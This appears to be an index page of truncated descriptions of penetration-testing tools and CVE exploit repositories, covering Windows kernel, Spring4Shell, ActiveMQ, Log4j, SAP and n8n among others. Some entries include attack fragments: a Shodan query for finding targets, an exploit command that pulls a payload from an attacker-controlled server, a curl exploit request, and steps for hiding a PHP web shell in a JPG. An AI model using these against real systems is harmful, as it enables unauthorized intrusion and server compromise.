windows-kernel-exploits

windows-kernel-exploits Introduction windows-kernel-exploits Vulnerability List Security Bulletin KB Description Operating System CVE-2021-33739 Microsoft DWM Core Library Elevation of Privilege Vulnerability Windows 10, 20 CVE-2021-1732 Windows Win32k Elevation of Privilege Vulnerability Windows...

penelope

Penelope is a modern shell handler for penetration testers and CTF players. It provides a more capable alternative to basic netcat listeners, adding automatic PTY upgrades, session management, logging, file transfers and helper modules. Table of Contents 📥 Installation ⚙️ Features 🖥️ Session...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

CVE-2022-22963

CVE-2022-22963 - Spring4shell To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example: docker run -it -d -p 8080:8080 bobcheat/springboot-public Exploit Curl command: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

SSTImap

SSTImap This project is based on Tplmap. SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself. This tool was developed to be used as an interactive...

CVE-2020-16898

CVE-2020-16898: “Bad Neighbor” CVSS Score: 8.8 CVSS Vector: CVSS3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C Overview On October 13, Microsoft announced an exceptionally critical vulnerability in the Windows IPv6 stack, which allows an attacker to send maliciously crafted packets to...

Log4j-RCE-Scanner

Feature • Requirements • Installation • Usage • Contact RCE scanner for Log4j Using this tool, you can scan for remote command execution vulnerability CVE-2021-44228 on Apache Log4j at multiple addresses. Affected versions If you want to scan with a domain name, you must additionally install...

CVE-2025-43300

📚 CVE-2025-43300 - Detailed Vulnerability Analysis 🎯 Summary CVE-2025-43300 is a buffer overflow vulnerability in DNG Digital Negative file processing caused by an inconsistency between TIFF metadata and JPEG data , allowing remote code execution RCE. 🔍 1. DNG FILE ANATOMY Layered Structure: DNG...

log4j_checker_beta

log4jcheckerbeta - Linux, macOS and Windows Scripts If you want to use the windows/linux download cradles below, please review the scripts beforehand. Loading code from the internet and execute it is what brought us here with Log4Shell - right? ;- Linux and macOS servers or clients The...

CVE-2026-26335-Calero-VeraSMART-RCE

👤 Author Mohammed Idrees Banyamer Security Researcher GitHub: https://github.com/mbanyamer Instagram: https://instagram.com/banyamersecurity CVE-2026-26335 - Calero VeraSMART ViewState RCE Exploit 📌 Description CVE‑2026‑26335 is a critical unauthenticated remote code execution vulnerability in...

CVE-2021-42013

CVE-2021-42013 - Apache HTTP Server 2.4.50 How to Run CVE-2021-42013-Path Traversal Lab 1. Install and run Docker on your PC/Laptop 2. Clone this github repo 3. Go to the Path Traversal folder 4. Enter the following commands docker build -t cve-2021-42013-path-traversal . and docker run --rm -dit...

CVE-2023-46604

CVE-2023-46604 Exploit for CVE-2023-46604 This tool helps to exploit this vulnerability. Shodan Query to find target: product:"ActiveMQ" port:"61616" Tools Usage: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target: python3 exploit.py -ip IP -...

CVE-2019-14745

CVE-2019-14745 weaponized radare2 vulnerability CVE-2019-14745 assigned found by @CaptnBanana and blenk92 For details about vulnerability, read https://bananamafia.dev/post/r2-pwndebian/ Usage First of all, you need Python bindings of LIEF https://lief.quarkslab.com/ Then, run script as: python...

SSH-Remote-Code-Execution

SSH Remote Code Execution SSH Zero-Day | Made by ClumsyLulz & Taylor Christian Newsome Summary This repository contains a C program that accepts input parameters and generates a packet to be sent to a server over the SSH protocol. The program allocates a buffer to hold the data, writes it to a...

CVE-2020-29607-POC

Pluck CMS 4.7.13 File Upload RCE Exploit 🚨 Educational Remote Code Execution Exploit 🚨 Author: Ron Jost Hacker5preme Reference: Exploit-DB CVE: CVE-2020-29607 ⚠️ Disclaimer: This script is for educational and authorized testing purposes only. Do not use it on systems you do not own or have explici...

CVE-2024-23346-exploit

CVE-2024-23346-exploit This is a exploit for the known Remote Code Execution RCE vulnerability in the pymatgen CVE-2024-23346 Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the Chemistry machine from Hack the Box. NVD CVE LINK :...

CVE-2025-68613-POC

🚨 CVE-2025-68613: Critical RCE Vulnerability in n8n Table of Contents 1. Overview 2. What is n8n? 3. Vulnerability Basics 4. Technical Details 5. Affected Versions 6. Exploitation Mechanics 7. Real-World Impact 8. Detection Methods 9. Remediation & Mitigation 10. Resources & References Overview...

SAP-CVE-2025-31324

SAP-CVE-2025-31324 POC A tool to detect and exploit a critical unauthenticated file‐upload vulnerability in SAP NetWeaver Visual Composer. Description SAP NetWeaver Visual Composer includes a component called Metadata Uploader which lacks proper authorization checks, allowing unauthenticated...

CVE-2026-27180-MajorDoMo-unauthenticated-RCE

MajorDoMo RCE CVE-2026-27180 Unauthenticated Remote Code Execution via Update URL Poisoning in MajorDoMo CWE-494 – Download of Code Without Integrity Check Impact : Full server compromise via webshell placed in web root Authentication Required : None Patch : PR 1177 📜 Description This repository...

Inject-PHP-to-JPG-Using-Jhead

Inject-PHP-to-JPG-Using-Jhead $ pkg install vim or apt-get install vim $ pkg install jhead or apt-get install jhead $ jhead -h for help $ jhead -purejpg yourfiles.jpg $ jhead -ce yourfiles.jpg Click ESC typed :x to save $ jhead yourfiles.jpg Example : site.com/youfiles.php?cmd=Command Here...